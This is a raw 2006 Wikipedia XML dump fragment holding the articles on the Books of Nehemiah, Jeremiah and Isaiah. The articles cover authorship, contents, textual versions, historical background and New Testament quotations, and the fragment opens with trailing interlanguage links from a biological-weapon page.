[[Category:Bioethics]]

[[cs:Biologická zbraň]]
[[da:Biologiske våben]]
[[de:Biologische Waffe]]
[[et:Bioloogiline relv]]
[[fr:Guerre biologique]]
[[he:&amp;#1500;&amp;#1493;&amp;#1495;&amp;#1502;&amp;#1492; &amp;#1489;&amp;#1497;&amp;#1493;&amp;#1500;&amp;#1493;&amp;#1490;&amp;#1497;&amp;#1514;]]
[[nl:Biowapens]]
[[no:Biologisk krigføring]]
[[ja:&amp;#29983;&amp;#29289;&amp;#20853;&amp;#22120;]]
[[pl:Bro&amp;#324; biologiczna]]
[[ru:&amp;#1041;&amp;#1080;&amp;#1086;&amp;#1083;&amp;#1086;&amp;#1075;&amp;#1080;&amp;#1095;&amp;#1077;&amp;#1089;&amp;#1082;&amp;#1086;&amp;#1077; &amp;#1086;&amp;#1088;&amp;#1091;&amp;#1078;&amp;#1080;&amp;#1077;]]</text>
    </revision>
  </page>
  <page>
    <title>Book of Nehemiah</title>
    <id>4362</id>
    <revision>
      <id>39032075</id>
      <timestamp>2006-02-10T06:09:13Z</timestamp>
      <contributor>
        <username>Asparagus</username>
        <id>35278</id>
      </contributor>
      <comment>+cat</comment>
      <text xml:space="preserve">{{Books of the Old Testament}}
{{Books of Ketuvim}}
The '''Book of Nehemiah''' is a book of the [[Hebrew Bible]], known to Jews as the [[Tanakh]] and to Christians as the [[Old Testament]].  It is historically regarded as a continuation of the [[Book of Ezra]].

Traditionally, the author of this book is believed to be [[Nehemiah]] himself; many modern scholars dispute this. There are portions of the book written in the first person (ch. 1-7; 12:27-47, and 13). But there are also portions of it in which Nehemiah is spoken of in the third person (ch. 8; 9; 10). Some, following the traditional attribution to Nehemiah, suppose that these portions may have been written by [[Ezra]] (of this, however, there is no distinct evidence), and had their place assigned them in the book probably by Nehemiah, as the responsible author of the whole book, with the exception of ch. 12:11, 22, 23. Other authors think that the historical order of events in both Ezra and Nehemiah has become jumbled, from which they conclude that at least the final arrangement and revision of their text must have occurred at a later period.

If Nehemiah was the author, the date at which the book was written was probably about [[431 BC|431]] - [[430 BC]], when Nehemiah had returned the second time to [[Jerusalem]] after his visit to [[Iran|Persia]].

The book consists of four parts:
#An account of the rebuilding of the wall of Jerusalem, and of the register Nehemiah had found of those who had returned from [[Babylon]] (ch. 1-7). 
#An account of the state of religion among the [[Jew]]s during this time (8-10). 
#Increase of the inhabitants of Jerusalem; the census of the adult male population, and names of the chiefs, together with lists of priests and [[Levite]]s (11-12:1-26). 
#Dedication of the wall of Jerusalem, the arrangement of the [[Second Temple|temple]] officers, and the reforms carried out by Nehemiah (12:27-ch. 13).

This book closes the history of the Old Testament, if [[Book of Esther|Esther]] is considered unhistorical. [[Malachi]] the prophet was possibly contemporary with Nehemiah.

[[Category:Old Testament books]]

[[de:Buch Nehemia]]
[[es:Libro de Nehemías]]
[[fr:Livre de Néhémie]]
[[ko:느헤미야 (구약성서)]]
[[id:Nehemia]]
[[he:ספר נחמיה]]
[[jv:Nehemia]]
[[nl:Nehemia]]
[[ja:ネヘミヤ記]]
[[fi:Nehemian kirja]]
[[sv:Nehemja]]
[[zh:尼希米記]]</text>
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  </page>
  <page>
    <title>Book of Jeremiah</title>
    <id>4363</id>
    <revision>
      <id>41493114</id>
      <timestamp>2006-02-27T19:06:32Z</timestamp>
      <contributor>
        <ip>201.44.114.184</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{Books of the Old Testament}}
{{Books of Nevi'im}}
:''For '''jer''', an alternate spelling for the reduced vowels in Common Slavic, see [[yer]].''
The '''Book of Jeremiah''', or '''Jeremiah''' (&amp;#1497;&amp;#1460;&amp;#1512;&amp;#1456;&amp;#1502;&amp;#1456;&amp;#1497;&amp;#1464;&amp;#1492;&amp;#1493;&amp;#1468; ''Yirmiyahu'' in [[Hebrew language|Hebrew]]), is a book that is part of the [[Hebrew Bible]], [[Judaism]]'s [[Tanakh]], and later became a part of [[Christianity]]'s [[Old Testament]]. It was originally written in a complex and poetic Hebrew (apart from verse 10:11, curiously written in [[Aramaic language|Aramaic]]), recording the words and events surrounding the life of the [[Jew]]ish [[prophet]] Jeremiah who lived at the time of the destruction of [[Solomon's Temple]] in [[Jerusalem]] during the fall of the [[Kingdom of Judah]] at the hands of [[Babylonia]].  

==Contents==

It consists of twenty-three separate and independent sections, arranged in five sub-sections or &quot;books&quot;. 

#The introduction, ch. 1. 
#Reproofs of the sins of the Jews, consisting of seven sections, (1.) ch. 2; (2.) ch. 3-6; (3.) ch. 7-10; (4.) ch. 11-13; (5.) ch. 14-17:18; (6.) ch. 17:19-ch. 20; (7.) ch. 21-24. 
#A general review of all nations, in two sections, (1.) ch. 46-49; (2.) ch. 25; with an historical appendix of three sections, (1.) ch. 26; (2.) ch. 27; (3.) ch. 28, 29. 
#Two sections picturing the hopes of better times, (1.) ch. 30, 31; (2.) ch. 32,33; to which is added an historical appendix in three sections, (1.) ch. 34:1-7; (2.) ch. 34:8-22; (3.) ch. 35. 
#The conclusion, in two sections, (1.) ch. 36; (2.) ch. 45.

In Egypt, after an interval, Jeremiah is supposed to have
added three sections, viz., ch. 37-39; 40-43; and 44.

The principal Messianic prophecies are found in 23:1-8;
31:31-40; and 33:14-26.

[[Jeremiah (prophet)|Jeremiah]]'s prophecies are noted for the frequent repetitions found in them of the same words and phrases and imagery. They cover the period of about 30 years. They are not recorded in the order of time. When and under what circumstances this book assumed its present form we know not.

==Prophecies of Jeremiah==
(From the [[public domain]] [[Jewish Encyclopedia]])

*A proclamation of the certain fall of Jerusalem made, according to the superscription to Zedekiah and the people, during the [[siege of Jerusalem]], i.e., about 588 B.C. (xxi. 1-10); 

*Prophecies against the kings of Judah in the time of Jehoiakim (608;xxi. 11-xxii. 19), completed by the passage xxii. 20-30, descriptive of the leading away of Jehoiachin into captivity (597); 

*threats against the &quot;unfaithful shepherds&quot; (i.e., the prophets), the promise of peace and of the real shepherd (after 597), and warnings against false prophets and godless priests (perhaps in the time of Jehoiakim; xxiii. 1-8, 9-40); 

*vision of the two baskets of figs, illustrating the fate of the captives and of those who were left behind, from the period after the first deportation by Nebuchadnezzar, in 597 (xxiv.); 

*threats of punishments to be inflicted on Judah and the surrounding nations, in the fourth year of Jehoiakim, i.e., the year of the battle of Carchemish (605; xxv.); 

*the first of the historical passages recounting Jeremiah's prophecy in the Temple (comp. vii.), his arrest, his threatened death, and his rescue, in which connection the martyrdom of the prophet Uriah is briefly mentioned (xxvi.).

*Utterances from the time of Zedekiah (see § II.), with an appendix, the last connected prophecy of any length, in ch. xxxv., treating of the fidelity of the Rechabites and of the unfaithfulness of Judah. This dates from a somewhat earlier period, that of Jehoiakim (because certainly before 597), and thus forms a transition to the first passages of the narrative sections.

==Septuagint version==

The [[Septuagint]] version of this book is, in its arrangement and in
other particulars, different from others. The septuagint omits 10:6-8; 27:19-22; 29:16-20; 33:14-26; 39:4-13; 52:2, 3, 15, 28-30, etc. About 2,700 words in all of the original are omitted.

According to the [[Jewish Encyclopedia]], ''a comparison of the Masoretic text with the Septuagint throws some light on the last phase in the history of the origin of the Book of Jeremiah, inasmuch as the translation into Greek was already under way before the work on the Hebrew book had come to an end... The two texts differ above all in that the Septuagint is much shorter... Even if the text of the Septuagint is proved to be the older, it does not necessarily follow that all these variations first arose after the Greek translation had been made, because two different editions of the same text might have been in process of development side by side...''

==Qumran version==

The Book of Jeremiah has also been found among the [[Dead Sea Scrolls]] in cave 4 in [[Qumran]]. One text is the hebrew variant of the [[Septuagint]] version. This may shed some light on why the Septaugint version differs from the [[masoretic]] version. It was previously thought that the difference was due to poor translation, but it is now thought by many that the masoretic version has been reworked, or that there were two versions of this book.

==Online Translations and commentaries on the Book of Jeremiah==
*Original Hebrew text:
** [http://www.mechon-mamre.org/p/pt/pt1101.htm &amp;#1497;&amp;#1512;&amp;#1502;&amp;#1497;&amp;#1492;&amp;#1493; ''Yirmiyahu'' - Jeremiah] ([[Hebrew language|Hebrew]])
*Translations into English
**[[Judaism|Jewish]] translations:
***[http://www.mechon-mamre.org/e/et/et1101.htm Jeremiah at Mechon-Mamre] (Jewish Publication Society translation)
*** [http://www.chabad.org/library/archive/LibraryArchive2.asp?AID=15756 Yirmiyahu - Jeremiah (Judaica Press)] translation with [[Rashi]]'s commentary at Chabad.org
**[[Christian]] translations:
*** [http://www.anova.org/sev/htm/hb/24_jeremiah.htm Jeremiah at The Great Books] (New Revised Standard Version)
***{{biblegateway||Jeremiah}}

==External links==
* (Jewish Encyclopedia) [http://www.jewishencyclopedia.com/view.jsp?artid=225&amp;letter=J&amp;search=Jeremiah Book of Jeremiah article] 
* Till, Farrell [http://www.infidels.org/library/magazines/tsr/1990/4/4jerem90.html The Jeremiah Dilemma] The Skeptical Review, No. 4 (1990)

{{Eastons}} 
{{JewishEncyclopedia}}

[[Category:Nevi'im|Jeremiah, Book of]]
[[Category:Old Testament books|Jeremiah]]
[[Category:Tanakh prophets|Jeremiah]]

[[cs:Kniha Jeremjáš]]
[[de:Buch Jeremia]]
[[fr:Livre de Jérémie]]
[[ko:예레미야 (구약성서)]]
[[id:Yeremia]]
[[he:ספר ירמיהו]]
[[jv:Yeremia]]
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[[ja:エレミヤ書]]
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[[pt:Livro de Jeremias]]
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[[zh:耶利米書]]</text>
    </revision>
  </page>
  <page>
    <title>Book of Isaiah</title>
    <id>4364</id>
    <revision>
      <id>41874367</id>
      <timestamp>2006-03-02T07:38:19Z</timestamp>
      <contributor>
        <username>JGF Wilks</username>
        <id>740658</id>
      </contributor>
      <comment>Reverting to my previous edition. The changes by 12.96.64.125 introduce POV, also, the issues are addressed on the linked page Matt 1:23</comment>
      <text xml:space="preserve">{{cleanup-date|November 2005}}
{{Books of the Old Testament}}
{{Books of Nevi'im}}
'''Isaiah''' ([[Hebrew language|Hebrew]] &amp;#1497;&amp;#64298;&amp;#1506;&amp;#1497;&amp;#1492;&amp;#1493; ''Yeshayahu'' or ''Y&amp;#601;&amp;scaron;a&amp;lsquo;&amp;#259;y&amp;#257;hû'') is a book of the Jewish [[Hebrew Bible]] as well as the Christian [[Old Testament]], containing prophecies attributed to [[Isaiah]].  This book is often seen by scholars as being divided into at least two sections. The first section, consisting of chapters 1-39, is generally accepted as being written by the prophet Isaiah of [[Jerusalem]], or by his followers who took down his words. The second section, chapters 40-66, is of more debatable origin, as will be described further below.

Isaiah’s messages assume we know something of the rest of the Bible, particularly the earlier books of the [[Old Testament]]. He affirms that God is determined to take and keep a people for himself. Isaiah sees this as self-evident, seeing as God bothered with an unattractive bunch of slaves in Egypt, who incessantly grumbled while he was rescuing them. The descendents were no better - they were the thankless unfaithful men and women of Isaiah’s time. It is only the covenant love of God that explains it.

God has determined to save and no one can stop him from doing it. He has chosen a people to praise and serve him, a people he calls out of bondage into a loving relationship with him. God has committed himself to these people and so they have hope who remain faithful to him (Isaiah 54:10 declares God’s steadfast resolve). The doctrine of election arises again in Isaiah. There is also the doctrine of the remnant – not all Israel are of Israel (see Isaiah 1:9 for example). Those who remain faithful are very few, like a flag-pole on a hilltop (Isaiah 30:17), or the stump of a tree that has been chopped down (6:13), gleanings or the few olives left at the top of a tree (17:6). But God will never cast his elect away (41:8-9, or 42:18-44:5).

== Content ==
The first 39 chapters of Isaiah consist primarily of prophecies of the judgments awaiting nations that are persecuting [[Kingdom of Judah|Judah]].  These nations include Babylon, Assyria, Philistia, Moab, Syria, [[Israel]] (the northern kingdom), Ethiopia, Egypt, Arabia, and Phoenicia.  The prophecies concerning them can be summarized as saying that [[Tetragrammaton|God]] is the God of the whole earth, and that nations which think of themselves as secure in their own power and might will be conquered by other nations, at [[Tetragrammaton|God]]'s command.

The judgments, however, are not only against those who persecute Isaiah's country, [[Kingdom of Judah|Judah]].  Chapters 1-5 and 28-29 prophesy judgment against [[Kingdom of Judah|Judah]] itself.  [[Kingdom of Judah|Judah]] thinks itself safe because of its covenant relationship with [[Tetragrammaton|God]], the God of all the earth.  However, [[Tetragrammaton|God]] tells [[Kingdom of Judah|Judah]], through Isaiah, that the covenant cannot protect them when they have broken it by idolatry, the worship of other gods, and by acts of injustice and cruelty, which oppose [[Tetragrammaton|God]]'s law.

Some exceptions to this overall foretelling of doom do occur, throughout the early chapters of the book.  Chapter 6 describes Isaiah's call to be a prophet of [[Tetragrammaton|God]].  Chapters 35-39 provide historical material about King [[Hezekiah]] and his triumph of faith in [[Tetragrammaton|God]].

Chapters 24-34, while too complex to characterize easily, are primarily concerned with prophecies of a &quot;[[Messiah]],&quot; a person anointed or given power by God, and of the [[Messiah]]'s kingdom, where justice and righteousness will reign.  This section is seen by Jews as describing an actual king, a descendant of their great king, David, who will make [[Kingdom of Judah|Judah]] a great kingdom and [[Jerusalem]] a truly holy city.  It is traditionally seen by [[Christianity|Christians]] as describing [[Jesus]], who was descended from David, and who, they believe, began a non-political kingdom of justice which will one day encompass the whole earth. At present, this kingdom has more reality in non-physical planes than in the material world.  A number of modern scholars believe that it describes, in somewhat idealized terms, King [[Hezekiah]], who was a descendant of David, and who tried to make [[Jerusalem]] into a holy city.

The prophecy continues with what some have called “The Book of Comfort” which begins in chapter 40 and completes the writing. In the first eight chapters of this book of comfort, Isaiah prophesies the deliverance of the [[Jew|Jews]] from the hands of the Babylonians and restoration of [[Israel]] as a unified nation in the land promised to them by [[Tetragrammaton|Yahweh]]. Isaiah reaffirms that the [[Jew|Jews]] are indeed the chosen people of [[Tetragrammaton|Yahweh]] in chapter 44 and that [[Tetragrammaton|Yahweh]] is the only God for the [[Jew|Jews]] as he will show his power over the gods of [[Babylon]] in due time in chapter 46. It is of much interest to note that in chapter 45:1, the Persian ruler [[Cyrus]] is named as the person of power who will overthrow the Babylonians and allow the return of [[Israel]] to their original land.

The remaining chapters of the book contain prophecies of the future glory of [[Zion]] under the rule of a righteous servant (52 &amp; 54). There is much complex prophecy about this servant that is written in a very poetic language. Although there is still the mention of judgment of false worshippers and idolaters (65 &amp; 66), the book ends with a message of hope of a righteous ruler who extends salvation to his righteous subjects living in the Lord’s kingdom on earth.

==Historical setting for Isaiah==
Isaiah lived during the late 8th and early 9th centuries BCE, which was a difficult period in the history of Jerusalem. He was part of the upper class but urged care of the downtrodden. At the end, he was loyal to King [[Hezekiah]], but disagreed with the King's attempts to forge alliances with Egypt and  Babylon in response to the Assyrian threat.

Isaiah prophesied during the reigns of four kings -- Uzziah (Azariah), Jotham, Ahaz, and Hezekiah. Legend has it that he was martyred during the reign of Manasseh, who came to the throne in 687 BCE.  That he is described as having ready access to the kings would suggest an aristocratic origin. 

This was the time of the divided kingdom, with [[Israel]] in the north and [[Kingdom of Judah|Judah]] in the south. There was prosperity for both kingdoms during Isaiah’s youth with little foreign interference. Jeroboam II ruled in the north and Uzziah in the south. The small kingdoms of Palestine, as well as Syria, were under the influence of [[Egypt]]. However, in 745 BCE, Tiglath-pileser III came to the throne of Assyria. He was interested in Assyrian expansionism, especially to the west. Tiglath-pileser took Samaria and a lot of Galilee in 732. Shalmenezer V (727-722) and then, Sargon II (722-705) attacked Samaria. Samaria fell in 722, this marking the end of the Northern Kingdom of [[Israel]] forever, as its population was taken into exile and dispersed amongst Assyrian provinces. It is as a result of this exile that reference is made to [[Lost Ten Tribes|Ten Lost Tribes]] of [[Israel]]. [[Egypt]] recovered to a degree around the end of the century and Babylon exerted some independence as well. Because of this, [[Kingdom of Judah|Judah]] and other states rebelled against Assyria, only to have Sennacherib (705-681) invade and capture 46 Judean towns.  Isaiah reports that [[Jerusalem]] was spared when God miraculously struck down the Assyrian army besieging it.

===The Syro-Ephraimite War===
Because of the threat from Tiglath-pileser, the leaders of Syria and Israel tried to force [[Kingdom of Judah|Judah]] to ally with them around 734 BCE. Ahaz was on the throne of [[Kingdom of Judah|Judah]] then. He was advised by Isaiah to trust in the Lord, but, instead, he called to Assyria for help. Pekah of [[Israel]] and Rezin of Syria attacked [[Kingdom of Judah|Judah]] and inflicted damage on it before Assyria came to its aid, but there would be more serious religious consequences of Ahaz’s refusal to accept the Lord’s guidance through Isaiah. 

===Fall of Syria and Samaria===
Damascus, capital of Syria, was taken by the Assyrians in 732. Tiglath –pileser died in 727, raising false hopes for the Palestinian countries. Ahaz died a year later. Isaiah warned Philistia and the other countries not to revolt against Assyria. Hoshea, then king of Samaria, withheld tribute to Assyria. Consequently,  Shalmenezer V laid siege to Samaria for 3 years, and his successor, Sargon II, took the city and deported 27,000 Israelites to northern parts of the Assyrian empire. There was peace in the area for 10 years or so , but then, Sargon returned in 711 to crush a coalition of Egypt and the Philistines. [[Kingdom of Judah|Judah]] had stayed out of this conflict, [[Hezekiah]] wisely listening to Isaiah’s advice.

[[Hezekiah]] and Sennacherib:
Sennacherib came to the throne of Assyria in 705. He had trouble immediately – with Ethiopian monarchs in Egypt and with the Babylonian leader, Merodach-Baladan. Despite Isaiah’s warnings, [[Hezekiah]] became involved as well. The Assyrians invaded the area, taking 46 towns before putting [[Jerusalem]] under siege. Isaiah persuaded [[Hezekiah]] to trust in the Lord and [[Jerusalem]] was spared.

[[Babylon]]:
Merodach-Baladan took power in [[Babylon]] in 721. Sargon entered [[Babylon]] without a fight in 711, but after Sargon’s death, Merodach-Baladan rebelled against Sennacherib. [[Babylon]] was defeated this time but would revive in another century to defeat Assyria and subjugate the [[Jew|Jews]] and destroy [[Jerusalem]].

==Themes==
[[Image:William Strutt Peace 1896.jpg|thumb|''Peace'', 1896 etching by [[William Strutt]], based upon Isaiah 11:6,7]]
Isaiah is concerned with the connection between worship and ethical behavior.  One of his major themes is God's refusal to accept the ritual worship of those who are treating others with cruelty and injustice.

Isaiah speaks also of [[idolatry]], which was common at the time.  The Canaanite worship, which involved fertility rites, including sexual practices forbidden by [[Jewish law]], had become popular among the [[Jew|Jewish]] people.  Isaiah picks up on a theme used by other prophets and tells [[Judah (biblical figure)|Judah]] that the nation of Israel is like a wife who is committing adultery, having run away from her true husband, God.

An important theme is that God is the God of the whole earth.  Many gods of the time were believed to be local gods or national gods who could participate in warfare and be defeated by each other. The concern of these gods was the protection of their own particular nations.  Isaiah's God is a conceived as the only true god, and the god of all humankind, not just the Israelite nation.

No one can defeat God; if God's people suffer defeat in battle, it is only because God chooses for that to happen.  Furthermore, God is concerned with more than the Jewish people. God has called [[Kingdom of Judah|Judah]] and [[Israel]] His covenant people for the specific purpose of teaching the world about Him.

A unifying theme found throughout the Book of Isaiah is the use of the expression of &quot;the Holy One of Israel&quot;. This is a title for God that is found 12 times in chapters 1-39 and 14 times in chapters 40-66. This expression is unique within the [[Old Testament]] to the book of Isaiah which suggests that, although scholars believe that the book of Isaiah was written in various sections by different authors (on which, more below), the work was intended to be a unified body evidenced with the attention to literary consistency.

A final thematic goal that Isaiah constantly leans toward throughout the writing is the establishment of God's kingdom on earth, with rulers and subjects to who strive to live by the will of God.

==Authorship issues==
===Critical positions===
One of the most critically debated issues in Isaiah is the proposal that it is the work of more than a single author.  Different proposals suggest that there have been two or three main authors, while alternative views suggest an additional number of minor authors or editors. (The idea is not that dissimilar to the process used on Wikipedia: an initial section of text, much more than a stub, may have been edited in minor ways before one or maybe two more authors added substantial blocks of material. A small amount of further editing proceeded after that before the final text was 'protected'). 

Almost all scholars who accept that there are multiple authors recognise some sort of division at the end of chapter 39. Supporters of the three author proposal see a further division at the end of chapter 55. For most of the twentieth century the three-author position was the most widely held; in the 1990s, more complex and carefully nuanced positions (such as that from Williamson, 1994) started to appear.

The typical objections to single authorship of the book of Isaiah are as follows: 

#Anonymity&amp;#8594; That is to say that Isaiah’s name is suddenly not used from chapter 40-66.
#Style &amp;#8594; There is a sudden change in the mood of the book from Isaiah after chapter 40.
#Historical Situation &amp;#8594; If this were one man, then he would have to have intimate knowledge of a time 150 years after his life.  

These and other considerations have led most modern critical scholars to conclude that the book of Isaiah, in its present form, is the result of an extensive editing process, in which the promises of God's salvation are re-interpreted and claimed for the Judean people through the history of their exile and return to the land of [[Kingdom of Judah|Judah]].  Since it is probably useless to try to reconstruct a precise account of the history of the book's composition (though many have tried), biblical scholars such as [[Brevard Childs]] have argued for reading the book as a literary unity.  In fact, the most notable change in the scholarly climate has been a recognition that even if the book is the work of many editors, it has been bequeathed to us as a unity, and should be studied as such. Current research is exploring the book's ''intertextuality'', the allusions and references later editors made to connect the different layers of the book.

===The Traditional position===
While critical scholars are united in a multiple author theory, there are writers, especially in the [[Fundamentalist]] [[Protestant]] and traditionalist [[Catholic]] traditions, who maintain the unity of Isaiah.  An example of the approach is illistrated by the words of Jesus Christ in John 12:38-40. 

 38This was to fulfill the word of Isaiah the prophet: 
   &quot;Lord, who has believed our message 
      and to whom has the arm of the Lord been revealed?&quot;
 39For this reason they could not believe, because, as &lt;b&gt;Isaiah says elsewhere:&lt;/b&gt; 
 40&quot;He has blinded their eyes 
      and deadened their hearts, 
   so they can neither see with their eyes, 
      nor understand with their hearts, 
      nor turn—and I would heal them.&quot;

The linking passage, verse 39, between the two passages says that the same Isaiah wrote them both. Since verse 38 comes from Isaiah 53:1 and verse 40 comes from Isaiah 6:10, there cannot be two books of Isaiah, or two separate people who contributed to the one book. Other references would appeal to [[Josephus| Josephus]], who attributes both sections of the book of Isaiah to a single author, and would point to the distinctive use of the title &quot;the Holy One of Israel&quot; for [[Tetragrammaton|Yahweh]] as a unifying theme. 

==Use in the New Testament==
Isaiah was quoted extensively by the authors of the New Testament.  A selection of such quotations is discussed here.

===Principal passages===
One of the most famous quotations from Isaiah in the New Testament is the citation of '''Isa. 7:14''' in [[Matthew 1:23|Matt. 1:23]].  This passage is a prophecy about a &quot;virgin&quot; who shall bear a child.  Matthew states that this passage refers to the birth of Jesus.  Modern scholars believe that the prophecy originally referred to a young woman of Isaiah's own day, who was not necessarily a virgin, in modern terms; the context indicates that she would have her child within the year.

'''Isaiah 61:6''' is cited in 1 Peter 2:9.  Isaiah prophesies that Israel will become a holy priesthood in which everyone serves the Lord.  Peter applies this to the Christian Church.

Romans 9:27-29, in discussing the history of Israel's relationship with God, quotes '''Isaiah 1:9''' and '''Isaiah 10:22-23'''.  Following that, in Romans 9:33, Paul refers to Isaiah 8:14 and 28:16, and applies them to [[Jesus]], the precious stone over which Israel stumbles.

'''Isaiah 6:9''' is echoed in Matthew 13:14-15 and in Mark 4:12, where a reference to the telling of God's truth in stories, so that people will see but not see the point, and hear but not hear the meaning, is applied to [[Jesus]], who was known for his parables, or stories which told God's truths.

'''Isaiah 8:12''' is cited in 1 Peter 3:14, as Peter counsels Christians to be unafraid, as Isaiah counselled the Jews who trusted God to be unafraid.

In 1 Peter 1:24-25, asserting the enduring value of the Scriptures, Peter refers to '''Isaiah 40:6-8.'''  In 1 Peter 2:6-8, he, like Paul, uses '''Isaiah 8:14''' and '''28:16''' to refer to Jesus.

'''Isaiah 8:17-18''' are cited in Hebrews 2:13.

'''Isaiah 9:1''' is cited in [[Matthew 4:15]]-[[Matthew 4:16|16]], as Matthew applies the prophecy of a light shining to those in darkness to Jesus' ministry in the parts of the country described in the passage.

===Additional passages===
Some other Isaiah passages are listed below, with the comparable [[New Testament]] passage(s) following each one, indented and in italics.

'''Is. 1:9''' 	If the LORD of hosts 
		had not left us a few survivors, 
	we would have been like Sodom, 
		and become like Gomorrah.

::''Rom. 9:29 And as Isaiah predicted, “If the Lord of hosts had not left survivors to us, we would have fared like Sodom and been made like Gomorrah.”''

'''Is. 6:9''' And he said, “Go and say to this people:  
	‘Keep listening, but do not comprehend; 
	keep looking, but do not understand.’

::''Matt. 13:14, 15 With them indeed is fulfilled the prophecy of Isaiah that says: ‘You will indeed listen, but never understand, and you will indeed look, but never perceive. For this people’s heart has grown dull, and their ears are hard of hearing, and they have shut their eyes; so that they might not look with their eyes, and listen with their ears, and understand with their heart and turn— and I would heal them.’''

::''Mark 4:12 in order that  ‘they may indeed look, but not perceive, and may indeed listen, but not understand; so that they may not turn again and be forgiven.’”''

'''Is. 7:14''' Therefore the Lord himself will give you a sign. Look, the young woman is with child and shall bear a son, and shall name him Immanuel.

'':[[Matthew 1:23|Matt. 1:23]] 	“Look, the virgin shall conceive and bear a son, and they shall name him Emmanuel,” which means, “God is with us.”''

'''Is. 8:12''' Do not call conspiracy all that this people calls conspiracy, and do not fear what it fears, or be in dread.

::''1Pet. 3:14, 15 But even if you do suffer for doing what is right, you are blessed. Do not fear what they fear, and do not be intimidated, but in your hearts sanctify Christ as Lord. Always be ready to make your defense to anyone who demands from you an accounting for the hope that is in you;''

'''Is. 8:14''' He will become a sanctuary, a stone one strikes against; for both houses of Israel he will become a rock one stumbles over—a trap and a snare for the inhabitants of Jerusalem.

::''Rom. 9:33 as it is written,  “See, I am laying in Zion a stone that will make people stumble, a rock that will make them fall, and whoever believes in him will not be put to shame.”''

'''Is. 8:17''' I will wait for the LORD, who is hiding his face from the house of Jacob, and I will hope in him.

::''Heb. 2:13 And again,  “I will put my trust in him.”  And again, “Here am I and the children whom God has given me.”''

'''Is. 9:1'''  ¶ But there will be no gloom for those who were in anguish. In the former time he brought into contempt the land of Zebulun and the land of Naphtali, but in the latter time he will make glorious the way of the sea, the land beyond the Jordan, Galilee of the nations.

::''[[Matthew 4:15|Matt. 4:15]], 16 	“Land of Zebulun, land of Naphtali, on the road by the sea, across the Jordan, Galilee of theGentiles— the people who sat in darkness have seen a great light, and for those who sat in the region and shadow of death light has dawned.”''

'''Is. 10:22''' For though your people Israel were like the sand of the sea, only a remnant of them will return. Destruction is decreed, overflowing with righteousness.

::''Rom. 9:27, 28  And Isaiah cries out concerning Israel, “Though the number of the children of Israel were like the sand of the sea, only a remnant of them will be saved; for the Lord will execute his sentence on the earth quickly and
decisively.”''

'''Is. 11:10''' On that day the root of Jesse shall stand as a signal to the peoples; the nations shall inquire of him, and his dwelling shall be glorious.

::''Rom. 15:12 and again Isaiah says,  “The root of Jesse shall come, the one who rises to rule the Gentiles; in him the Gentiles shall hope.”''

'''Is. 13:10''' 	For the stars of the heavens and their constellations 
		will not give their light; 
	the sun will be dark at its rising, 
		and the moon will not shed its light.

::''Matt. 24:29 	“Immediately after the suffering of those days the sun will be darkened, and the moon will not give its light; the stars will fall from heaven, and the powers of heaven will be shaken.''

'''Is. 21:9''' 	Look, there they come, riders, 
		horsemen in pairs!” 
	Then he responded, 
		“Fallen, fallen is Babylon; 
	and all the images of her gods 
		lie shattered on the ground.”

::''Rev. 18:2 He called out with a mighty voice, “Fallen, fallen is Babylon the great! It has become a dwelling place of demons, a haunt of every foul and hateful bird, a haunt of every foul and hateful beast.''

'''Is. 22:13''' 	but instead there was joy and festivity, 
		killing oxen and slaughtering sheep, 
		eating meat and drinking wine. 
	“Let us eat and drink, 
		for tomorrow we die.”

::''1Cor. 15:32 If with merely human hopes I fought with wild animals at Ephesus, what would I have gained by it? If the dead are not raised,  “Let us eat and drink, for tomorrow we die.”''

'''Is. 25:8''' 	Then the Lord GOD will wipe away the tears from all faces, 
		and the disgrace of his people he will take away from all the earth, for the LORD has spoken.

::''1Cor. 15:54 When this perishable body puts on imperishability, and this mortal body puts on immortality, then the saying that is written will be fulfilled:  “Death has been swallowed up in victory.”

::''Rev. 7:17 	for the Lamb at the center of the throne will be their shepherd, and he will guide them to springs of the water of life, and God will wipe away every tear from their eyes.”''

'''Is. 26:19''' 	Your dead shall live, their corpses shall rise. 
		O dwellers in the dust, awake and sing for joy! 
	For your dew is a radiant dew, 
		and the earth will give birth to those long dead.

::''Matt. 11:5 the blind receive their sight, the lame walk, the lepers are cleansed, the deaf hear, the dead are raised, and the poor have good news brought to them.''

::''Luke 7:22 And he answered them, “Go and tell John what you have seen and heard: the blind receive their sight, the lame walk, the lepers are cleansed, the deaf hear, the dead are raised, the poor have good news brought to them.''

'''Is. 28:11''' 	 Truly, with stammering lip 
		and with alien tongue 
	he will speak to this people,

::''1 Cor. 14:21 In the law it is written, “By people of strange tongues and by the lips of foreigners I will speak to this people; yet even then they will not listen to me,”  says the Lord.''

'''Is. 28:16''' 	therefore thus says the Lord GOD, 
	See, I am laying in Zion a foundation stone, 
		a tested stone, 
	a precious cornerstone, a sure foundation: 
		“One who trusts will not panic.”

::''Rom. 9:33 as it is written,  “See, I am laying in Zion a stone that will make people stumble, a rock that will make them fall, and whoever believes in him will not be put to shame.” ''

::''Rom. 10:11 The scripture says, “No one who believes in him will be put to shame.”''

Is. 29:10''' 	For the LORD has poured out upon you 
		a spirit of deep sleep; 
	he has closed your eyes, you prophets, 
		and covered your heads, you seers.

::''Rom.11:8 as it is written,  “God gave them a slow spirit, eyes that would not see and ears that would not hear, down to this very day.”''

'''Is. 29:13''' 	 The Lord said: 
	Because these people draw near with their mouths 
		and honor me with their lips, 
		while their hearts are far from me, 
	and their worship of me is a human commandment learned by rote;

::''Matt. 15:8, 9 	‘This people honors me with their lips, but their hearts are far from me; in vain do they worship me, teaching human precepts as doctrines.’”

::''Mark 7:6, 7 He said to them, “Isaiah prophesied rightly about you hypocrites, as it is written, ‘This people honors me with their lips, but their hearts are far from me; in vain do they worship me, teaching human precepts as doctrines.’''

'''Is. 29:14''' 	so I will again do 
		amazing things with this people, 
		shocking and amazing. 
	The wisdom of their wise shall perish, 
		and the discernment of the discerning shall be hidden.

::''1Cor. 1:19 For it is written,  “I will destroy the wisdom of the wise, and the discernment of the discerning I will thwart.”''

'''Is. 29:16''' 	 You turn things upside down! 
		  Shall the potter be regarded as the clay? 
	Shall the thing made say of its maker, 
		“He did not make me”; 
	or the thing formed say of the one who formed it, 
		“He has no understanding”?

::''Rom. 9:20 But who indeed are you, a human being, to argue with God?  Will what is molded say to the one who molds it, “Why have you made me like this?”''

'''Is. 52:5''' Now therefore what am I doing here, says the LORD, seeing that my people are taken away without cause? Their rulers howl, says the LORD, and continually, all day long, my name is despised.

::''Rom. 2:24 For, as it is written, “The name of God is blasphemed among the Gentiles because of you.”''

